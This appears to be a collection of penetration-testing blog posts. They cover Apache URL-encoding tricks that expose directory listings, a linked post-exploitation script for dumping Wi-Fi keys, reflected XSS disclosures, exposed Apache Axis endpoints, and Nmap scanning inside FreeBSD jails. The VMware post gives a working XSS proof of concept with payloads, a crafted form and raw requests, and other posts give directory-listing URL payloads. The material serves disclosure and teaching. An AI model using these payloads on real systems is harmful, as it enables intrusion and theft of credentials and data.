(Pentest Apache #3) - The Nature of # (%23) Character | Mod Security Rules in Apache

In my earlier posts, I have talked about  some interesting issues in deployed modules in Apache and insecure configuration. Refer here:

1. (Pentest Apache #1) Exposed Apache Axis - SOAP Objects
2. (Pentest Apache #2) - The Beauty of "%3F" and Apache's Inability | Wordpress | Mod Security

In this post, I want to discuss an interesting issue that occurs due to misconfigured rules in modsecurity. It is not a severe issue but it helps the penetration tester to gain some additional information about the server-side environment. For example:- directory listing.

In modsecurity, NE is stated as No Escape. One can explicitly configure the rules with this flag to implement no escaping. For example: "#" will be converted to "%23" if NE flag is not set.  If NE flag is set , the "#" character is treated as such and processed accordingly.  For more about modsecurity flags, refer here: http://httpd.apache.org/docs/2.2/rewrite/flags.html.  An example taken from there:


"RewriteRule ^/anchor/(.+) /bigpage.html#$1 [NE,R]. This example will redirect /anchor/xyz to /bigpage.html#xyz."

If escaping is not set properly in addition to some misconfiguration issue, it could result in unexpected behavior. I have noticed this flaw plethora of times during a number of security assessments. Let's have a look at one of the real time example:-


URL pattern 1: http://www.example.com/temp/#htaccess.cl
URL pattern 2: http://www.example.com/temp/%23htaccess.cl

In case (1), if NE flag is set, the URL has to be processed with "#" character. In case (2), if NE flag is not set, the URL has to be processed with "%23", hexadecimal notation of the character "#". But due to misconfiguration, the behavior changes.

The tested server is : Apache/2.2.14. Actually, both URLs are responded with 200 OK responses. In case (1), the output results in directory listing. In case (2), the output results in content of the file htaccess.cl.

Case 1: Content-Type is text/html;charset=UTF-8

With # Character 

Case 2: Content-Type is text/plain

With %23 Character

It could be a one reason that file name starts with "#" character. But, the primary reason is the inability of Apache to understand misconfigured URL rewriting rules. Usually, if the URL rewriting rule fails, the web server should respond in 404 error message. In case of misconfiguration, the fall back step is the directory listing, atleast that what I have seen in practical scenarios (it could be different).

Inference: Play around with URL rewriting rules to detect bypasses which could result in gleaning additional information.

A Sweet Script to Dump Keys from Wlan Profiles - Post Exploitation (or Regular Use)

Update: Just found that PaulDotCom has written over this blog post in episode 327: http://pauldotcom.com/wiki/index.php/Episode327.

"This is a great example of so many things. First, its a really neat little script (though I imagine the powershell junkies will be excited to convert it). It highlights the importance of post-exploitation. But that is really just a term for us gear heads. What this means for the organization is terrible. It means you can exploit systems that really don't seem to matter, maybe Jane's computer was compromised and didn't have any sensitive data on it and her account does not. However, Jane connects to the same "secure" wireless network as more important people, say Bob from finance. Now, a small little hole, like a missing Adobe patch, just caughed up the keys to your kingdom. It means that vulnerabilities and risk have this weird relationship and its one of the toughest things to understand, until you have a pen test."

After exploitation, retrieving data from the compromised machine is always an interesting scenario. Considering the time factor, even a small automation is productive. Running a same command several times is  not bad but its better to take a next step.

The below presented script helps to dump security keys for all the wlan profiles present on the compromised system (if you have an administrator access). I use this sweet script to do the work so use it when ever you want.

Wlan Profiles - Security Keys Dumping Script

It outputs as:

Fetch the batch script from here: http://www.secniche.org/tools/dump_wlan_config.txt

Enjoy !

Responsible Disclosure : XSS in Damballa Reported and Patched !

Last weekend, I was reading some research papers available at Damballa website which are awesome without any doubt. I was surfing the website and to surprise, I found an XSS vulnerability in the website. Since, the Damballa provides anti malware solutions, XSS can be used for malicious purposes. Under responsible disclosure constraints, I contacted David Holmes of Damballa and revealed the issue. What makes a responsible disclosure interesting is the prompt reply from the vendor who is willing to patch the vulnerability without any complexities. The same happened with Damballa. They patched the bug right away. In addition, I had a good discussions with David Holmes why the issue persisted in the website.

I expect that every vendor should be prompt enough to patch the issue.

Proof-of-Concept (PoC):

Be responsible in disclosing bugs.

VMware Management Interface - A Little Story of XSS

As a part of my open research, I came across an XSS vulnerability in VMware management interface which is used by VMware ESX and GSX server. I thought it might be a new issue but interestingly a number of XSS issues have already been reported to VMware security team. The list can be found here: http://www.cvedetails.com/vulnerability-list/vendor_id-252/opxss-1/Vmware.html

On the other note, a number of VMware management interfaces exposed on the Internet are still vulnerable. Of-course, the administrators have not deployed patches or upgraded the required software. I din't get enough details on the XSS issue (may be I missed it). So, I thought to talk about the issue in detail here. I am not going to list which versions are affected, you can get that information in the advisories. I will talk about the issue. The management interface look like as presented below:

VMware Management Interface

The username and password field are provided with ids as "l" and "m" respectively. Interestingly, the vulnerable interfaces use client side encoding to obfuscate the input values entered by the user. But, this can be taken care while using proxy, the value can be directly passed without encoding (alter the HTTP request and POST parameters in the proxy such as BURP, Charles, etc). For example:- if you specify the parameters as follows:

l="/>"/>"/><script>alert(document.cookie);</script>
m=test

it gets encoded as follows:

l = Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==
m = dGVzdA==

Well, its not a complex encoding but only a Base 64 encoding. Even if, one uses the proxy to pass the values without encoding, due to client side work, the XSS payload fails to render in the webpage. The output looks like as follows:


<html><head><title>Login: VMware Management Interface</title><script> var user="Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>


It reflects back our XSS payload but in Base 64 encoded format which is rendered as useless data. The vulnerability persisted in the handling of these parameters on the server side. If you check, the same payload is reflected back without any additional modification. Actually, the server does not perform any encoding or input validation. Its all client side. The idea is to simply render this payload without encoding. All the POST requests are handled by the /sx-login/index.pl. Let's see:

(Request-Line) POST /sx-login/index.pl HTTP/1.1
Host:

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://82.133.251.1/vmware/en/login.html
Cookie: vmware.mui.test=1; vmware.mui.test=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 95


The simple proof of concept (PoC) that directly sends request to the /sx/login/index.pl is shown below which queries directly without any encoding and made the XSS work.


<html>
<body>

<form name="k" id="k" method="post" action="https://example.com/sx-login/index.pl" target="data">
<input name="l" type="text" value='"--></style></script><script>alert(document.location);</script>"'/>
<input name="m" type="password" value="test"/>
<input type="submit" value="Submit">
</form>

</body>
</html>

Once this form is successfully submitted, it results in XSS as shown below:


<html><head><title>Login: VMware Management Interface</title><script>
var user=""--></style></script><script>alert(document.location);</script>"";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>

Successful XSS Injection

On patched  systems, the web server replied back as follows:

<html><head><title>Login: VMware Management Interface</title><script>

var user="\"--\u003E\u003C/style\u003E\u003C/script\u003E\u003Cscript\u003Ealert(document.location);\u003C/script\u003E\"";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>

The patched versions are now using server side unicode encoding to subvert the XSS payload.

Enjoy!

Responsible Disclosure : XSS in UBM

Last year, I reported an XSS issue in the ubminformation.com which was used by UBM organization. I revealed the details to Trey Ford, and the result is as expected. The issue has been patched :). The domain is no longer valid as it redirects all the traffic to the primary website ubm.com.

This issue was result of an outcome of open research. The good point is that, the vulnerability got noticed and patched.

XSS - 1 

and ...

XSS - 2

(Pentest Apache #2) - The Beauty of "%3F" and Apache's Inability | Wordpress | Mod Security

Tested Apache Version: Apache 1.3.37(Unix) (with different modules)

I was doing an open research and came across an interesting issue which helps a penetration tester to gather more information about the files present (directory listing) on the web server (specific web folder). I tested only one version of Apache for this. Let's understand this issue. The problem is present in Apache's ability to process the encoded value of "?" which is "%3F". 

Testing: During the validation, I found that wordpress was running on Apache 1.3.37(unix). Due to misconfiguration, it was possible to access the /wp-includes/  folder, which resulted in directory listing as shown below:

So, when I accessed the /wp-admin/ directory, it redirected me to the login page as presented below:

Tthe above presented screenshot shows the correct behavior of the wordpress or the Apache server when /wp-admin/ directory is accessed. Now, when I accessed the http://www.example.com/blog/ , the web server displayed the contents of wordpress blog such as posts and entries. 

Question : Is it possible to get the directory listing on accessing the /blog/ directory?

Answer : Yes, It can be done in some web servers such as Apache.

Question : How can it be possible?

Answer : I exploited the behavior of Apache in processing the encoded "?" character whose value is

"%3F". Amazingly, it worked. I constructed the payload as:   http://www.example.com/blog/%3Fpage_id=34. [One can use any id number or parameter]

Other examples:

http://www.example.com/blog/%3Fp_id=34

http://www.example.com/blog/%3Fpg_id=34

When I used the above stated payload, I got the response as follows:

This allowed me to get the listing of the /blog/ directory which really helped me to understand the presence of different files on the remote web server. But, If I used the payload as: http://www.example.com/blog/?page_id=34 without encoding, it did not work. So the encoding of "?" character resulted in failure of processing the request as desired by the Apache web server thereby resulting in directory listing.

Let's have a look at the HTTP response headers:

Request 1: http://www.example.com/blog/%3Fpage_id=34.

(Status-Line)      HTTP/1.1 200 OK
Date      Sun, 20 Jan 2013 19:22:59 GMT
Server   VHFFS / Apache/1.3.34 (Unix) mod_lo/1.0 PHP/4.4.4 with Hardening-Patch mod_ssl/2.8.25 OpenSSL/0.9.8b mod_chroot/0.5
Content-Type    text/html; charset=ISO-8859-1
Transfer-Encoding           chunked

Request 2: http://www.example.com/blog/?page_id=34

(Status-Line)      HTTP/1.1 200 OK
Date      Sun, 20 Jan 2013 19:23:48 GMT
Server   VHFFS / Apache/1.3.34 (Unix) mod_lo/1.0 PHP/4.4.4 with Hardening-Patch mod_ssl/2.8.25 OpenSSL/0.9.8b mod_chroot/0.5
X-Powered-By  PHP/5.1.5 with Hardening-Patch
Content-Type    text/html; charset=ISO-8859-1
Transfer-Encoding           chunked

In the request 2, the response contains X-Powered-By as compared to the first request. So, the PHP preprocessor plays a part in it.

Constraint: In this technique, one can only get the directory listing but will no be able to access those files

until unless there is misconfiguration issue.

Background: I forced Google to provide me with related information and I got the related links as follows:

1. http://stackoverflow.com/questions/9786853/apache-not-processing-encoded-urls-with-3f

2. https://issues.apache.org/bugzilla/show_bug.cgi?id=34602

Solution: Configure appropriate rewrite rules using mod_rewrite to prevent these types of vulnerabilities.

Check [1] for this

Note: If any reader has a specific view on this, please respond back. 

DEFCON 20 Talk : Botnets Die Hard : Owned and Operated Video

GrrCon 2012 Talk - The Realm of Third Generation Botnet Attacks

(Pentest Apache #1) Exposed Apache Axis - SOAP Objects

Recently, I was doing some open research. On compromising the Tomcat Apache Manager component, I came across Apache Axis.

Apache Axis2™ is a Web Services / SOAP / WSDL engine, the successor to the widely used Apache Axis SOAP stack. There are two implementations of the Apache Axis2 Web services engine - Apache Axis2/Java and Apache Axis2/C

Fore more information about Apache Axis, refer here :

• http://axis.apache.org/axis2/java/core/
• http://axis.apache.org/axis/ 

It is highly advised that while conducting penetration tests (web + network), one should dig deeper to find exposed Apache Axis objects on the target servers. Primarily, misconfigured Apache web servers (Tomcat) results in exposed SOAP objects used for implementing Apache Axis services engine.

What to look for?

1. Default happyaxis.jsp: This file provides plethora of information about the configured web services on the target server. It leverages configuration as follows:

• Examining web application configuration (Needed + Optional Configuration)
• Examining application server
• Examining system properties

2. Axis Servlet (/servlet/AxisServlet): It leverages information about the deployed web services on the
target server.

3. Echo Headers (/EchoHeaders.jws): This component calls the local endpoints to reveal HTTP headers.

For more information about JWS file, refer: http://docs.oracle.com/cd/E13226_01/workshop/docs70/help/guide/devenv/conJwsFiles.html

3.1 If method name is not specified (EchoHeaders.jws?method=), it results in exception as follows:

3.2 If method name is specified (EchoHeaders.jws?method=list), it provides results as follows:

3.3 Call WSDL directory (EchoHeaders.jws?wsdl) it provides results as follows:

4. Traverse the exposed WSDL Endpoints listed by the Axis Servlet (/servlet/AxisServlet).

By default, Administer Axis and SOAP Monitor component is disabled. But, the above presented information still helps the attacker to get the configuration of the target server.

So use Google Dorks, analyze manually by provided information in this blog to detect exposed Apache Axis SOAP objects.

Enjoy!

Art of InfoJacking Talk at Source Seattle - 2011

My talk at Source Seattle 2011.

LayerOne 2012 Talk - Mangling with Botnets

My talk at LayerOne 2012 conference.

FreeBSD Jails - Routing Issues and Nmap Scanning - NPT

Recently I was using FreeBSD system for Network Penetration Testing (NPT). For better control, jails are implemented in FreeBSD. Jails are nothing but a replacement of chroot environment. For better understanding of Jails in FreeBSD, read  here - http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/jails-intro.html.

Target -  9.0-RELEASE FreeBSD 9.0-RELEASE #0:  amd64

When you are performing NPT using FreeBSD, you might encounter the something similar that I am discussing below

1. FreeBSD fails to provide routing information. Commands such as "netstat -r" | "netstat -rn" fails.

john# netstat -r
netstat: kvm not available: /dev/mem: No such file or directory
Routing tables
rt_tables: symbol not in namelist
john# netstat -rn
netstat: kvm not available: /dev/mem: No such file or directory
Routing tables
rt_tables: symbol not in namelist

 2. Traceroute command works perfectly fine and provides desired results.

 john# traceroute google.com
traceroute: Warning: google.com has multiple addresses; using 74.125.224.226
traceroute to google.com (74.125.224.226), 64 hops max, 52 byte packets
 1  206.125.172.17 (206.125.172.17)  2.733 ms  0.958 ms  0.864 ms
 2  ge0-15.as01.lax07.mzima.net (67.199.135.101)  5.611 ms  0.684 ms  1.295 ms
 3  google.com.any2ix.coresite.com (206.223.143.41)  0.728 ms  0.702 ms  0.652 m
 4  72.14.234.47 (72.14.234.47)  0.716 ms
    64.233.174.41 (64.233.174.41)  0.747 ms  0.774 ms
 5  216.239.43.76 (216.239.43.76)  0.976 ms  1.042 ms  0.959 ms
 6  lax04s08-in-f2.1e100.net (74.125.224.226)  0.745 ms  0.652 ms  0.726 ms

3. Dig works fine and DNS names are resolved.

john# dig google.com +nocmd +short
74.125.224.232
74.125.224.224
74.125.224.226
74.125.224.228
74.125.224.238
74.125.224.231
74.125.224.227
74.125.224.229
74.125.224.230
74.125.224.225
74.125.224.233

3. Nmap does not trigger several set of scans on FreeBSD due to jails implementation. Primarily, in
    my case Syn scan fails.

The overall problem is present in the support for raw sockets in FreeBSD when jails are implemented. By default, the support for raw sockets is not provided in jails because of security issues. The configuration parameter "security.jail.allow_raw_sockets" in sysctl.conf is the controlling agent. If the value is changed to "1", the raw sockets support is allowed.

I encountered errors related to "devfs" system. The jails, from where I was executing the scans did not support /dev/mem or /dev/kmem. Typically, I found that jail failed to find kvm. The solution is to provide access to critical sections of the memory to that specific jail. This can be done by making modifications in "/etc/devfs.rules". It means inside the jail, the user can access the all the sections of memory ( bypassing jail restrictions). Being an administrator, no body prefers to do that as it is not a best practice to grant users the root level access to control all sections of memory. This kind of scenarios lead to some management issues though for administrators.

Now the question is, if certain set of Nmap scans wont work what to do. No doubt, running scans in jail environment restricts some of the features of Nmap but we can still use (-sT) TCP connect scan to initiate scanning. Though it is time consuming as it is full three way handshake as compared to (-sS) which is two way but it works without any hassles. You have to make the (-sT) scan minimal which means even this scan does not work with other options in Nmap. You have to run it more simple way as discussed in some examples below.

john# nmap -Pn -vv -n -sT -O -A xxx.xxx.xxx.xxx -oA first_subnet

Starting Nmap 6.00 ( http://nmap.org ) at 2012-06-01 21:53 UTC

NSE: Loaded 93 scripts for scanning.

NSE: Script Pre-scanning.

NSE: Starting runlevel 1 (of 2) scan.

NSE: Starting runlevel 2 (of 2) scan.

nexthost: failed to determine route to xxx.xxx.xxx.xxx QUITTING!

john# nmap -Pn -vv -n -sT -O -A xxx.xxx.xxx.xxx

Starting Nmap 6.00 ( http://nmap.org ) at 2012-06-01 21:53 UTC

NSE: Loaded 93 scripts for scanning.

NSE: Script Pre-scanning.

NSE: Starting runlevel 1 (of 2) scan.

NSE: Starting runlevel 2 (of 2) scan.

nexthost: failed to determine route to xxx.xxx.xxx.xxx QUITTING!

So what works in this case is as follows

john# nmap -Pn -sT -sV google.com -p 80

Starting Nmap 6.00 ( http://nmap.org ) at 2012-06-04 00:23 UTC
Nmap scan report for google.com (74.125.224.229)
Host is up (0.00080s latency).
Other addresses for google.com (not scanned): 74.125.224.228 74.125.224.232 74.125.224.231 74.125.224.233 74.125.224.230 74.125.224.224 74.125.224.238 74.125.224.227
 74.125.224.225 74.125.224.226
rDNS record for 74.125.224.229: lax04s08-in-f5.1e100.net
PORT   STATE SERVICE VERSION
80/tcp open  http    Google httpd 2.0 (GFE)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
So the point to be considered while doing penetration testing is to take care for these situations. Even though there is restricted environment but we can still achieve what we want.

Hope it helps.